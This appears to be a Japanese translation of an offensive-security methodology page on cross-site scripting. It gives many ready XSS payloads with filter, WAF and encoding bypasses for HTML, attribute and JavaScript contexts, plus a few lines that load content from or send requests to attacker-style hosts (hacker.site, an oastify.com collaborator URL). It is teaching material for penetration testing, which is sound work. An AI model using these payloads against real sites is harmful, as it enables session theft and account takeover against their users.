XSS (クロスサイトスクリプティング)
Reading time: 72 minutes
方法論
- あなたが制御する任意の値 (パラメータ, パス, ヘッダー?, クッキー?) がHTMLに反映されているか、JSコードで使用されているかを確認します。
- 反映されている/使用されているコンテキストを見つけます。
- 反映されている場合
- 使用できる記号を確認し、それに応じてペイロードを準備します:
- 生のHTMLの場合:
- 新しいHTMLタグを作成できますか?
javascript:
プロトコルをサポートするイベントや属性を使用できますか?- 保護を回避できますか?
- HTMLコンテンツがクライアントサイドのJSエンジン (AngularJS, VueJS, Mavo...) によって解釈されている場合、クライアントサイドテンプレートインジェクションを悪用できるかもしれません。
- JSコードを実行するHTMLタグを作成できない場合、ダングリングマークアップ - HTMLスクリプトレスインジェクションを悪用できるかもしれません。
- HTMLタグ内:
- 生のHTMLコンテキストに抜け出せますか?
- JSコードを実行するための新しいイベント/属性を作成できますか?
- あなたが閉じ込められている属性はJS実行をサポートしていますか?
- 保護を回避できますか?
- JavaScriptコード内:
<script>
タグをエスケープできますか?- 文字列をエスケープして異なるJSコードを実行できますか?
- テンプレートリテラル `` に入力がありますか?
- 保護を回避できますか?
- 実行されているJavascript 関数:
- 実行する関数の名前を指定できます。例:
?callback=alert(1)
- 使用されている場合:
- DOM XSSを悪用できるかもしれません。あなたの入力がどのように制御されているか、そしてあなたの制御された入力がどのシンクで使用されているかに注意してください。
複雑なXSSに取り組む際に知っておくと興味深いこと:
反映された値
XSSを成功裏に悪用するために最初に見つけるべきことは、あなたが制御する値がウェブページに反映されていることです。
- 中間的に反映された:パラメータの値やパスがウェブページに反映されていることがわかった場合、反映されたXSSを悪用できるかもしれません。
- 保存されて反映された:あなたが制御する値がサーバーに保存され、ページにアクセスするたびに反映される場合、保存されたXSSを悪用できるかもしれません。
- JS経由でアクセスされた:あなたが制御する値がJSを使用してアクセスされている場合、DOM XSSを悪用できるかもしれません。
コンテキスト
XSSを悪用しようとする際に最初に知っておくべきことは、あなたの入力がどこに反映されているかです。コンテキストに応じて、異なる方法で任意のJSコードを実行できるようになります。
生のHTML
あなたの入力が生のHTMLページに反映されている場合、JSコードを実行するためにいくつかのHTMLタグを悪用する必要があります:<img , <iframe , <svg , <script
... これらは使用できる多くのHTMLタグの一部です。
また、クライアントサイドテンプレートインジェクションを念頭に置いてください。
HTMLタグ属性内
あなたの入力がタグの属性の値内に反映されている場合、次のことを試みることができます:
- 属性とタグからエスケープする(その後、生のHTMLにいることになります)し、新しいHTMLタグを作成して悪用します:
"><img [...]
- 属性からはエスケープできるがタグからはできない場合(
>
がエンコードまたは削除されている)、タグに応じてJSコードを実行するイベントを作成できるかもしれません:" autofocus onfocus=alert(1) x="
- 属性からエスケープできない場合(
"
がエンコードまたは削除されている)、あなたの値が反映されている属性に応じて、すべての値を制御しているか、一部だけを制御しているかによって悪用できるかもしれません。例えば、onclick=
のようなイベントを制御している場合、クリックされたときに任意のコードを実行させることができます。もう一つの興味深い例は、href
属性で、javascript:
プロトコルを使用して任意のコードを実行できます:href="javascript:alert(1)"
- あなたの入力が「悪用できないタグ」内に反映されている場合、脆弱性を悪用するために**
accesskey
トリックを試みることができます(これを悪用するには何らかの社会工学が必要です):" accesskey="x" onclick="alert(1)" x="
**
クラス名を制御する場合のAngularによるXSSの奇妙な例:
<div ng-app>
<strong class="ng-init:constructor.constructor('alert(1)')()">aaa</strong>
</div>
Inside JavaScript code
この場合、あなたの入力はHTMLページの**<script> [...] </script>
タグ、.js
ファイル内、またはjavascript:
**プロトコルを使用した属性内に反映されます:
<script> [...] </script>
タグの間に反映されている場合、たとえあなたの入力がどんな種類の引用符の中にあっても、</script>
を注入してこのコンテキストから脱出しようとすることができます。これは、ブラウザが最初にHTMLタグを解析し、その後にコンテンツを解析するため、あなたが注入した</script>
タグがHTMLコード内にあることに気づかないからです。- JS文字列内に反映されていて、最後のトリックが機能しない場合は、文字列から退出し、コードを実行し、JSコードを再構築する必要があります(エラーがある場合は実行されません):
'-alert(1)-'
';-alert(1)//
\';alert(1)//
- テンプレートリテラル内に反映されている場合、
${ ... }
構文を使用してJS式を埋め込むことができます:var greetings = `Hello, ${alert(1)}`
- Unicodeエンコードは有効なjavascriptコードを書くために機能します:
alert(1)
alert(1)
alert(1)
Javascript Hoisting
Javascript Hoistingは、関数、変数、またはクラスを使用した後に宣言する機会を指し、未宣言の変数や関数を使用するXSSのシナリオを悪用できるようにします。
詳細については、以下のページを確認してください:
Javascript Function
いくつかのウェブページには、実行する関数の名前をパラメータとして受け入れるエンドポイントがあります。一般的な例として、?callback=callbackFunc
のようなものがあります。
ユーザーによって直接提供されたものが実行されようとしているかどうかを確認する良い方法は、パラメータの値を変更すること(例えば「Vulnerable」に)で、コンソールで次のようなエラーを探すことです:
もし脆弱であれば、値を送信するだけでアラートをトリガーできる可能性があります: ?callback=alert(1)
。ただし、これらのエンドポイントは、内容を検証して、文字、数字、ドット、アンダースコアのみを許可することが非常に一般的です([\w\._]
)。
しかし、その制限があっても、いくつかのアクションを実行することは依然として可能です。これは、有効な文字を使用してDOM内の任意の要素にアクセスできるためです:
これに役立ついくつかの関数:
firstElementChild
lastElementChild
nextElementSibiling
lastElementSibiling
parentElement
あなたはまた、Javascript関数を直接トリガーすることも試すことができます: obj.sales.delOrders
。
しかし、通常、指定された関数を実行するエンドポイントは、あまり興味深いDOMを持たないエンドポイントです。同じオリジンの他のページは、より多くのアクションを実行するためのより興味深いDOMを持っています。
したがって、異なるDOMでこの脆弱性を悪用するために、**Same Origin Method Execution (SOME)**のエクスプロイトが開発されました:
SOME - Same Origin Method Execution
DOM
JSコードが、攻撃者によって制御されるデータ(例: location.href
)を安全でない方法で使用しています。攻撃者は、これを悪用して任意のJSコードを実行することができます。
ユニバーサルXSS
この種のXSSはどこにでも見つけることができます。これは、Webアプリケーションのクライアントの悪用だけでなく、あらゆる****コンテキストに依存します。この種の任意のJavaScript実行は、RCEを取得したり、クライアントやサーバーの任意のファイルを読み取ったりするために悪用されることさえあります。
いくつかの例:
WAFバイパスエンコーディング画像
生のHTML内に注入
あなたの入力がHTMLページ内に反映される場合、またはこのコンテキストでHTMLコードをエスケープして注入できる場合、最初に行うべきことは、<
を悪用して新しいタグを作成できるかどうかを確認することです: その文字を反映させて、それがHTMLエンコードされているか、削除されているか、または変更なしで反映されているかを確認してください。最後のケースでのみ、このケースを悪用できるでしょう。
この場合も、クライアントサイドテンプレートインジェクションを念頭に置いてください。
注: HTMLコメントは、-->
または--!>
を使用して閉じることができます。
この場合、ブラックリスト/ホワイトリストが使用されていない場合、次のようなペイロードを使用できます:
<script>
alert(1)
</script>
<img src="x" onerror="alert(1)" />
<svg onload=alert('XSS')>
しかし、タグ/属性のブラックリスト/ホワイトリストが使用されている場合、どのタグを作成できるかをブルートフォースする必要があります。
許可されているタグを特定したら、見つかった有効なタグ内の属性/イベントをブルートフォースして、どのようにコンテキストを攻撃できるかを確認する必要があります。
タグ/イベントのブルートフォース
https://portswigger.net/web-security/cross-site-scripting/cheat-sheetに移動し、_タグをクリップボードにコピーをクリックします。次に、Burp intruderを使用してそれらすべてを送信し、WAFによって悪意のあるものとして発見されなかったタグがあるかどうかを確認します。使用できるタグを特定したら、有効なタグを使用してすべてのイベントをブルートフォースできます(同じウェブページでイベントをクリップボードにコピー_をクリックし、前と同じ手順に従います)。
カスタムタグ
有効なHTMLタグが見つからなかった場合、カスタムタグを作成し、onfocus
属性でJSコードを実行することを試みることができます。XSSリクエストでは、URLを#
で終わらせてページがそのオブジェクトにフォーカスし、コードを実行する必要があります:
/?search=<xss+id%3dx+onfocus%3dalert(document.cookie)+tabindex%3d1>#x
ブラックリストバイパス
もし何らかのブラックリストが使用されている場合、いくつかの簡単なトリックを使ってバイパスを試みることができます:
//Random capitalization
<script> --> <ScrIpT>
<img --> <ImG
//Double tag, in case just the first match is removed
<script><script>
<scr<script>ipt>
<SCRscriptIPT>alert(1)</SCRscriptIPT>
//You can substitude the space to separate attributes for:
/
/*%00/
/%00*/
%2F
%0D
%0C
%0A
%09
//Unexpected parent tags
<svg><x><script>alert('1')</x>
//Unexpected weird attributes
<script x>
<script a="1234">
<script ~~~>
<script/random>alert(1)</script>
<script ///Note the newline
>alert(1)</script>
<scr\x00ipt>alert(1)</scr\x00ipt>
//Not closing tag, ending with " <" or " //"
<iframe SRC="javascript:alert('XSS');" <
<iframe SRC="javascript:alert('XSS');" //
//Extra open
<<script>alert("XSS");//<</script>
//Just weird an unexpected, use your imagination
<</script/script><script>
<input type=image src onerror="prompt(1)">
//Using `` instead of parenthesis
onerror=alert`1`
//Use more than one
<<TexTArEa/*%00//%00*/a="not"/*%00///AutOFocUs////onFoCUS=alert`1` //
長さバイパス(小さなXSS)
<!-- Taken from the blog of Jorge Lajara -->
<svg/onload=alert``> <script src=//aa.es> <script src=//℡㏛.pw>
The last one is using 2 unicode characters which expands to 5: telsr
More of these characters can be found here.
To check in which characters are decomposed check here.
Click XSS - Clickjacking
脆弱性を悪用するために、ユーザーがリンクや事前に入力されたデータを持つフォームをクリックする必要がある場合、Clickjackingを悪用することを試みることができます(ページが脆弱な場合)。
Impossible - Dangling Markup
JSコードを実行する属性を持つHTMLタグを作成することが不可能だと思う場合、Dangling Markupを確認してください。なぜなら、JSコードを実行することなく脆弱性を悪用できるからです。
Injecting inside HTML tag
Inside the tag/escaping from attribute value
HTMLタグの内部にいる場合、最初に試すべきことは、タグからエスケープし、前のセクションで言及された技術のいくつかを使用してJSコードを実行することです。
もしタグからエスケープできない場合、タグの内部に新しい属性を作成してJSコードを実行しようとすることができます。例えば、(この例では属性からエスケープするために二重引用符が使用されていますが、入力がタグ内に直接反映される場合は必要ありません):
" autofocus onfocus=alert(document.domain) x="
" onfocus=alert(1) id=x tabindex=0 style=display:block>#x #Access http://site.com/?#x t
スタイルイベント
<p style="animation: x;" onanimationstart="alert()">XSS</p>
<p style="animation: x;" onanimationend="alert()">XSS</p>
#ayload that injects an invisible overlay that will trigger a payload if anywhere on the page is clicked:
<div style="position:fixed;top:0;right:0;bottom:0;left:0;background: rgba(0, 0, 0, 0.5);z-index: 5000;" onclick="alert(1)"></div>
#moving your mouse anywhere over the page (0-click-ish):
<div style="position:fixed;top:0;right:0;bottom:0;left:0;background: rgba(0, 0, 0, 0.0);z-index: 5000;" onmouseover="alert(1)"></div>
属性内で
たとえ属性から逃げることができなくても("
がエンコードまたは削除されている場合)、どの属性にあなたの値が反映されているかによって、すべての値を制御しているのか、一部だけを制御しているのかに応じて、それを悪用することができます。例えば、onclick=
のようなイベントを制御している場合、クリックされたときに任意のコードを実行させることができます。
もう一つの興味深い例は、属性href
で、javascript:
プロトコルを使用して任意のコードを実行できることです:href="javascript:alert(1)"
HTMLエンコーディング/URLエンコードを使用したイベント内のバイパス
HTMLタグ属性の値内のHTMLエンコードされた文字は実行時にデコードされます。したがって、次のようなものが有効になります(ペイロードは太字で示されています):<a id="author" href="http://none" onclick="var tracker='http://foo?
'-alert(1)-'
';">戻る </a>
あらゆる種類のHTMLエンコードが有効であることに注意してください:
//HTML entities
'-alert(1)-'
//HTML hex without zeros
'-alert(1)-'
//HTML hex with zeros
'-alert(1)-'
//HTML dec without zeros
'-alert(1)-'
//HTML dec with zeros
'-alert(1)-'
<a href="javascript:var a=''-alert(1)-''">a</a>
<a href="javascript:alert(2)">a</a>
<a href="javascript:alert(3)">a</a>
URLエンコードも機能することに注意してください:
<a href="https://example.com/lol%22onmouseover=%22prompt(1);%20img.png">Click</a>
Unicodeエンコードを使用して内部イベントをバイパスする
//For some reason you can use unicode to encode "alert" but not "(1)"
<img src onerror=\u0061\u006C\u0065\u0072\u0074(1) />
<img src onerror=\u{61}\u{6C}\u{65}\u{72}\u{74}(1) />
属性内の特別なプロトコル
ここでは、いくつかの場所で javascript:
または data:
プロトコルを使用して 任意のJSコードを実行 できます。いくつかはユーザーの操作を必要とし、いくつかは必要ありません。
javascript:alert(1)
JavaSCript:alert(1)
javascript:%61%6c%65%72%74%28%31%29 //URL encode
javascript:alert(1)
javascript:alert(1)
javascript:alert(1)
javascript:alert(1)
java //Note the new line
script:alert(1)
data:text/html,<script>alert(1)</script>
DaTa:text/html,<script>alert(1)</script>
data:text/html;charset=iso-8859-7,%3c%73%63%72%69%70%74%3e%61%6c%65%72%74%28%31%29%3c%2f%73%63%72%69%70%74%3e
data:text/html;charset=UTF-8,<script>alert(1)</script>
data:text/html;base64,PHNjcmlwdD5hbGVydCgiSGVsbG8iKTs8L3NjcmlwdD4=
data:text/html;charset=thing;base64,PHNjcmlwdD5hbGVydCgndGVzdDMnKTwvc2NyaXB0Pg
data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcv MjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hs aW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAw IiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZWNtYXNjcmlwdCI+YWxlcnQoIlh TUyIpOzwvc2NyaXB0Pjwvc3ZnPg==
これらのプロトコルを注入できる場所
一般的に javascript:
プロトコルは href
属性を受け入れる任意のタグで使用でき、ほとんどの src
属性を受け入れるタグで使用できます(ただし <img>
は除く)
<a href="javascript:alert(1)">
<a href="data:text/html;base64,PHNjcmlwdD5hbGVydCgiSGVsbG8iKTs8L3NjcmlwdD4=">
<form action="javascript:alert(1)"><button>send</button></form>
<form id=x></form><button form="x" formaction="javascript:alert(1)">send</button>
<object data=javascript:alert(3)>
<iframe src=javascript:alert(2)>
<embed src=javascript:alert(1)>
<object data="data:text/html,<script>alert(5)</script>">
<embed src="data:text/html;base64,PHNjcmlwdD5hbGVydCgiWFNTIik7PC9zY3JpcHQ+" type="image/svg+xml" AllowScriptAccess="always"></embed>
<embed src="data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcv MjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hs aW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAw IiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZWNtYXNjcmlwdCI+YWxlcnQoIlh TUyIpOzwvc2NyaXB0Pjwvc3ZnPg=="></embed>
<iframe src="data:text/html,<script>alert(5)</script>"></iframe>
//Special cases
<object data="//hacker.site/xss.swf"> .//https://github.com/evilcos/xss.swf
<embed code="//hacker.site/xss.swf" allowscriptaccess=always> //https://github.com/evilcos/xss.swf
<iframe srcdoc="<svg onload=alert(4);>">
他の難読化トリック
この場合、前のセクションのHTMLエンコーディングとUnicodeエンコーディングのトリックも有効です。あなたは属性内にいるためです。
<a href="javascript:var a=''-alert(1)-''">
さらに、これらのケースには別の素晴らしいトリックがあります:javascript:...
内の入力がURLエンコードされていても、実行される前にURLデコードされます。 したがって、シングルクォートを使用して文字列からエスケープする必要がある場合、URLエンコードされているのを見たら、それは重要ではありません。 実行時にシングルクォートとして解釈されます。
'-alert(1)-'
%27-alert(1)-%27
<iframe src=javascript:%61%6c%65%72%74%28%31%29></iframe>
注意してください、もしあなたが両方のURLencode + HTMLencode
を任意の順序でペイロードをエンコードするために使用しようとすると、それは機能しませんが、ペイロード内で混ぜることはできます。
javascript:
を使ったHexとOctalエンコード
あなたはHexとOctalエンコードをiframe
のsrc
属性内で(少なくとも)使用してJSを実行するHTMLタグを宣言することができます:
//Encoded: <svg onload=alert(1)>
// This WORKS
<iframe src=javascript:'\x3c\x73\x76\x67\x20\x6f\x6e\x6c\x6f\x61\x64\x3d\x61\x6c\x65\x72\x74\x28\x31\x29\x3e' />
<iframe src=javascript:'\74\163\166\147\40\157\156\154\157\141\144\75\141\154\145\162\164\50\61\51\76' />
//Encoded: alert(1)
// This doesn't work
<svg onload=javascript:'\x61\x6c\x65\x72\x74\x28\x31\x29' />
<svg onload=javascript:'\141\154\145\162\164\50\61\51' />
リバースタブナビゲーション
<a target="_blank" rel="opener"
もし任意の**<a href=
タグにURLを挿入でき、そのタグがtarget="_blank"
およびrel="opener"
**属性を含む場合、この動作を悪用するために次のページを確認してください:
イベントハンドラーバイパスについて
まず、役立つ**"on"イベントハンドラ**についてはこのページを確認してください(https://portswigger.net/web-security/cross-site-scripting/cheat-sheet)。
このイベントハンドラの作成を妨げるブラックリストがある場合、次のバイパスを試すことができます:
<svg onload%09=alert(1)> //No safari
<svg %09onload=alert(1)>
<svg %09onload%20=alert(1)>
<svg onload%09%20%28%2c%3b=alert(1)>
//chars allowed between the onevent and the "="
IExplorer: %09 %0B %0C %020 %3B
Chrome: %09 %20 %28 %2C %3B
Safari: %2C %3B
Firefox: %09 %20 %28 %2C %3B
Opera: %09 %20 %2C %3B
Android: %09 %20 %28 %2C %3B
XSS in "Unexploitable tags" (hidden input, link, canonical, meta)
From here 隠し入力を悪用することが可能になりました:
<button popvertarget="x">Click me</button>
<input type="hidden" value="y" popover id="x" onbeforetoggle="alert(1)" />
そしてmetaタグでは:
<!-- Injection inside meta attribute-->
<meta
name="apple-mobile-web-app-title"
content=""
Twitter
popover
id="newsletter"
onbeforetoggle="alert(2)" />
<!-- Existing target-->
<button popovertarget="newsletter">Subscribe to newsletter</button>
<div popover id="newsletter">Newsletter popup</div>
こちらから: 隠し属性内でXSSペイロードを実行できますが、犠牲者にキーの組み合わせを押すように説得する必要があります。Firefox Windows/Linuxではキーの組み合わせはALT+SHIFT+Xで、OS XではCTRL+ALT+Xです。アクセスキー属性で異なるキーを使用して異なるキーの組み合わせを指定できます。ここにベクターがあります:
<input type="hidden" accesskey="X" onclick="alert(1)">
XSSペイロードは次のようになります:" accesskey="x" onclick="alert(1)" x="
ブラックリストバイパス
このセクションでは、さまざまなエンコーディングを使用するトリックがすでに公開されています。戻って、どこで使用できるかを学びましょう:
- HTMLエンコーディング(HTMLタグ)
- Unicodeエンコーディング(有効なJSコードになる可能性があります):
\u0061lert(1)
- URLエンコーディング
- 16進数および8進数エンコーディング
- データエンコーディング
HTMLタグと属性のバイパス
JavaScriptコードのバイパス
次のセクションのJavaScriptバイパスブラックリストを読む。
CSSガジェット
もし、非常に小さな部分のウェブでXSSを見つけた場合、何らかのインタラクションが必要です(たとえば、onmouseover要素を持つフッターの小さなリンクなど)、その要素が占めるスペースを変更して、リンクが発火する確率を最大化することを試みることができます。
たとえば、要素に次のようなスタイルを追加できます:position: fixed; top: 0; left: 0; width: 100%; height: 100%; background-color: red; opacity: 0.5
しかし、WAFがスタイル属性をフィルタリングしている場合、CSSスタイリングガジェットを使用できます。たとえば、次のようなものを見つけた場合
.test {display:block; color: blue; width: 100%}
および
#someid {top: 0; font-family: Tahoma;}
今、リンクを変更して次の形式にすることができます
<a href="" id=someid class=test onclick=alert() a="">
このトリックはhttps://medium.com/@skavans_/improving-the-impact-of-a-mouse-related-xss-with-styling-and-css-gadgets-b1e5dec2f703から取られました。
JavaScriptコード内への注入
この場合、入力は.js
ファイルのJSコード内に反映されるか、<script>...</script>
タグの間、またはJSコードを実行できるHTMLイベントの間、またはjavascript:
プロトコルを受け入れる属性の間にあります。
<script>タグのエスケープ
もしあなたのコードが<script> [...] var input = 'reflected data' [...] </script>
の中に挿入されている場合、簡単に**<script>
タグを閉じることでエスケープ**できます:
</script><img src=1 onerror=alert(document.domain)>
この例では、シングルクォートを閉じていないことに注意してください。これは、HTMLの解析が最初にブラウザによって行われるためで、ページ要素、スクリプトのブロックを特定することが含まれます。埋め込まれたスクリプトを理解し実行するためのJavaScriptの解析は、その後に行われます。
JSコード内
<>
がサニタイズされている場合でも、文字列をエスケープし、任意のJSを実行することができます。JSの構文を修正することが重要です。エラーがあると、JSコードは実行されません。
'-alert(document.domain)-'
';alert(document.domain)//
\';alert(document.domain)//
テンプレートリテラル ``
文字列を構築するために、シングルクォートやダブルクォートの他に、JSはバックティック ``
も受け入れます。これはテンプレートリテラルと呼ばれ、${ ... }
構文を使用してJS式を埋め込むことができます。
したがって、バックティックを使用しているJS文字列内に入力が反映されていることがわかった場合、構文${ ... }
を悪用して任意のJSコードを実行することができます:
これは次のように悪用できます:
;`${alert(1)}``${`${`${`${alert(1)}`}`}`}`
// This is valid JS code, because each time the function returns itself it's recalled with ``
function loop() {
return loop
}
loop``
エンコードされたコード実行
<script>\u0061lert(1)</script>
<svg><script>alert('1')
<svg><script>alert(1)</script></svg> <!-- The svg tags are neccesary
<iframe srcdoc="<SCRIPT>alert(1)</iframe>">
Unicode エンコード JS 実行
alert(1)
alert(1)
alert(1)
JavaScript バイパス ブラックリスト技術
文字列
"thisisastring"
'thisisastrig'
`thisisastring`
/thisisastring/ == "/thisisastring/"
/thisisastring/.source == "thisisastring"
"\h\e\l\l\o"
String.fromCharCode(116,104,105,115,105,115,97,115,116,114,105,110,103)
"\x74\x68\x69\x73\x69\x73\x61\x73\x74\x72\x69\x6e\x67"
"\164\150\151\163\151\163\141\163\164\162\151\156\147"
"\u0074\u0068\u0069\u0073\u0069\u0073\u0061\u0073\u0074\u0072\u0069\u006e\u0067"
"\u{74}\u{68}\u{69}\u{73}\u{69}\u{73}\u{61}\u{73}\u{74}\u{72}\u{69}\u{6e}\u{67}"
"\a\l\ert\(1\)"
atob("dGhpc2lzYXN0cmluZw==")
eval(8680439..toString(30))(983801..toString(36))
特別なエスケープ
"\b" //backspace
"\f" //form feed
"\n" //new line
"\r" //carriage return
"\t" //tab
"\b" //backspace
"\f" //form feed
"\n" //new line
"\r" //carriage return
"\t" //tab
// Any other char escaped is just itself
JSコード内のスペースの置換
<TAB>
/**/
JavaScript コメント (から JavaScript コメント トリック)
//This is a 1 line comment
/* This is a multiline comment*/
<!--This is a 1line comment
#!This is a 1 line comment, but "#!" must to be at the beggining of the first line
-->This is a 1 line comment, but "-->" must to be at the beggining of the first line
JavaScriptの改行(から JavaScriptの改行 トリック)
//Javascript interpret as new line these chars:
String.fromCharCode(10)
alert("//\nalert(1)") //0x0a
String.fromCharCode(13)
alert("//\ralert(1)") //0x0d
String.fromCharCode(8232)
alert("//\u2028alert(1)") //0xe2 0x80 0xa8
String.fromCharCode(8233)
alert("//\u2029alert(1)") //0xe2 0x80 0xa9
JavaScriptのホワイトスペース
log=[];
function funct(){}
for(let i=0;i<=0x10ffff;i++){
try{
eval(`funct${String.fromCodePoint(i)}()`);
log.push(i);
}
catch(e){}
}
console.log(log)
//9,10,11,12,13,32,160,5760,8192,8193,8194,8195,8196,8197,8198,8199,8200,8201,8202,8232,8233,8239,8287,12288,65279
//Either the raw characters can be used or you can HTML encode them if they appear in SVG or HTML attributes:
<img/src/onerror=alert(1)>
コメント内のJavascript
//If you can only inject inside a JS comment, you can still leak something
//If the user opens DevTools request to the indicated sourceMappingURL will be send
//# sourceMappingURL=https://evdr12qyinbtbd29yju31993gumlaby0.oastify.com
括弧なしのJavaScript
// By setting location
window.location='javascript:alert\x281\x29'
x=new DOMMatrix;matrix=alert;x.a=1337;location='javascript'+':'+x
// or any DOMXSS sink such as location=name
// Backtips
// Backtips pass the string as an array of lenght 1
alert`1`
// Backtips + Tagged Templates + call/apply
eval`alert\x281\x29` // This won't work as it will just return the passed array
setTimeout`alert\x281\x29`
eval.call`${'alert\x281\x29'}`
eval.apply`${[`alert\x281\x29`]}`
[].sort.call`${alert}1337`
[].map.call`${eval}\\u{61}lert\x281337\x29`
// To pass several arguments you can use
function btt(){
console.log(arguments);
}
btt`${'arg1'}${'arg2'}${'arg3'}`
//It's possible to construct a function and call it
Function`x${'alert(1337)'}x`
// .replace can use regexes and call a function if something is found
"a,".replace`a${alert}` //Initial ["a"] is passed to str as "a," and thats why the initial string is "a,"
"a".replace.call`1${/./}${alert}`
// This happened in the previous example
// Change "this" value of call to "1,"
// match anything with regex /./
// call alert with "1"
"a".replace.call`1337${/..../}${alert}` //alert with 1337 instead
// Using Reflect.apply to call any function with any argumnets
Reflect.apply.call`${alert}${window}${[1337]}` //Pass the function to call (“alert”), then the “this” value to that function (“window”) which avoids the illegal invocation error and finally an array of arguments to pass to the function.
Reflect.apply.call`${navigation.navigate}${navigation}${[name]}`
// Using Reflect.set to call set any value to a variable
Reflect.set.call`${location}${'href'}${'javascript:alert\x281337\x29'}` // It requires a valid object in the first argument (“location”), a property in the second argument and a value to assign in the third.
// valueOf, toString
// These operations are called when the object is used as a primitive
// Because the objet is passed as "this" and alert() needs "window" to be the value of "this", "window" methods are used
valueOf=alert;window+''
toString=alert;window+''
// Error handler
window.onerror=eval;throw"=alert\x281\x29";
onerror=eval;throw"=alert\x281\x29";
<img src=x onerror="window.onerror=eval;throw'=alert\x281\x29'">
{onerror=eval}throw"=alert(1)" //No ";"
onerror=alert //No ";" using new line
throw 1337
// Error handler + Special unicode separators
eval("onerror=\u2028alert\u2029throw 1337");
// Error handler + Comma separator
// The comma separator goes through the list and returns only the last element
var a = (1,2,3,4,5,6) // a = 6
throw onerror=alert,1337 // this is throw 1337, after setting the onerror event to alert
throw onerror=alert,1,1,1,1,1,1337
// optional exception variables inside a catch clause.
try{throw onerror=alert}catch{throw 1}
// Has instance symbol
'alert\x281\x29'instanceof{[Symbol['hasInstance']]:eval}
'alert\x281\x29'instanceof{[Symbol.hasInstance]:eval}
// The “has instance” symbol allows you to customise the behaviour of the instanceof operator, if you set this symbol it will pass the left operand to the function defined by the symbol.
- https://github.com/RenwaX23/XSS-Payloads/blob/master/Without-Parentheses.md
- https://portswigger.net/research/javascript-without-parentheses-using-dommatrix
任意の関数(alert)呼び出し
//Eval like functions
eval('ale'+'rt(1)')
setTimeout('ale'+'rt(2)');
setInterval('ale'+'rt(10)');
Function('ale'+'rt(10)')``;
[].constructor.constructor("alert(document.domain)")``
[]["constructor"]["constructor"]`$${alert()}```
import('data:text/javascript,alert(1)')
//General function executions
`` //Can be use as parenthesis
alert`document.cookie`
alert(document['cookie'])
with(document)alert(cookie)
(alert)(1)
(alert(1))in"."
a=alert,a(1)
[1].find(alert)
window['alert'](0)
parent['alert'](1)
self['alert'](2)
top['alert'](3)
this['alert'](4)
frames['alert'](5)
content['alert'](6)
[7].map(alert)
[8].find(alert)
[9].every(alert)
[10].filter(alert)
[11].findIndex(alert)
[12].forEach(alert);
top[/al/.source+/ert/.source](1)
top[8680439..toString(30)](1)
Function("ale"+"rt(1)")();
new Function`al\ert\`6\``;
Set.constructor('ale'+'rt(13)')();
Set.constructor`al\x65rt\x2814\x29```;
$='e'; x='ev'+'al'; x=this[x]; y='al'+$+'rt(1)'; y=x(y); x(y)
x='ev'+'al'; x=this[x]; y='ale'+'rt(1)'; x(x(y))
this[[]+('eva')+(/x/,new Array)+'l'](/xxx.xxx.xxx.xxx.xx/+alert(1),new Array)
globalThis[`al`+/ert/.source]`1`
this[`al`+/ert/.source]`1`
[alert][0].call(this,1)
window['a'+'l'+'e'+'r'+'t']()
window['a'+'l'+'e'+'r'+'t'].call(this,1)
top['a'+'l'+'e'+'r'+'t'].apply(this,[1])
(1,2,3,4,5,6,7,8,alert)(1)
x=alert,x(1)
[1].find(alert)
top["al"+"ert"](1)
top[/al/.source+/ert/.source](1)
al\u0065rt(1)
al\u0065rt`1`
top['al\145rt'](1)
top['al\x65rt'](1)
top[8680439..toString(30)](1)
<svg><animate onbegin=alert() attributeName=x></svg>
DOMの脆弱性
攻撃者によって制御される安全でないデータを使用しているJSコードがあります。例えばlocation.href
のようなものです。攻撃者はこれを悪用して任意のJSコードを実行することができます。
DOMの脆弱性に関する説明が長いため、このページに移動しました:
そこでは、DOMの脆弱性とは何か、どのように引き起こされるか、そしてそれをどのように悪用するかについての詳細な説明が見つかります。
また、前述の投稿の最後に、DOM Clobbering攻撃についての説明があることを忘れないでください。
Self-XSSのアップグレード
Cookie XSS
もしペイロードをクッキー内に送信することでXSSをトリガーできる場合、これは通常self-XSSです。しかし、もしXSSに対して脆弱なサブドメインを見つけた場合、このXSSを悪用して全ドメインにクッキーを注入し、メインドメインまたは他のサブドメイン(クッキーXSSに対して脆弱なもの)でクッキーXSSをトリガーすることができます。このために、クッキー投げ攻撃を使用できます:
この技術の素晴らしい悪用例は、このブログ投稿で見つけることができます。
管理者にセッションを送信する
ユーザーが管理者とプロフィールを共有できる場合、もしself XSSがユーザーのプロフィール内にあり、管理者がそれにアクセスすると、脆弱性がトリガーされます。
セッションミラーリング
self XSSを見つけ、ウェブページに管理者用のセッションミラーリングがある場合、例えばクライアントが助けを求めることを許可し、管理者があなたを助けるためにあなたのセッションで見ているものを自分のセッションから見ることができます。
あなたは管理者にself XSSをトリガーさせて、彼のクッキー/セッションを盗むことができます。
その他のバイパス
正規化されたUnicode
反映された値がサーバー(またはクライアント側)でUnicode正規化されているかどうかを確認し、この機能を悪用して保護をバイパスすることができます。ここに例があります。
PHP FILTER_VALIDATE_EMAILフラグバイパス
"><svg/onload=confirm(1)>"@x.y
Ruby-On-Rails バイパス
RoR マスアサインメント により、HTMLに引用符が挿入され、その後引用制限がバイパスされ、追加のフィールド(onfocus)がタグ内に追加されることがあります。
フォームの例 (from this report)、ペイロードを送信すると:
contact[email] onfocus=javascript:alert('xss') autofocus a=a&form_type[a]aaa
ペア「Key」「Value」は次のようにエコーされます:
{" onfocus=javascript:alert('xss') autofocus a"=>"a"}
その後、onfocus属性が挿入され、XSSが発生します。
特殊な組み合わせ
<iframe/src="data:text/html,<svg onload=alert(1)>">
<input type=image src onerror="prompt(1)">
<svg onload=alert(1)//
